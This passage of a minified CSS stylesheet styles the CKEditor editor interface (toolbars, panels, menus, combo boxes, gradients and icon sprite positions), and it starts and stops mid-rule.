textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}.cke_bottom{padding-bottom:3px}.cke_combo_text{margin-bottom:-1px;margin-top:1px}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, 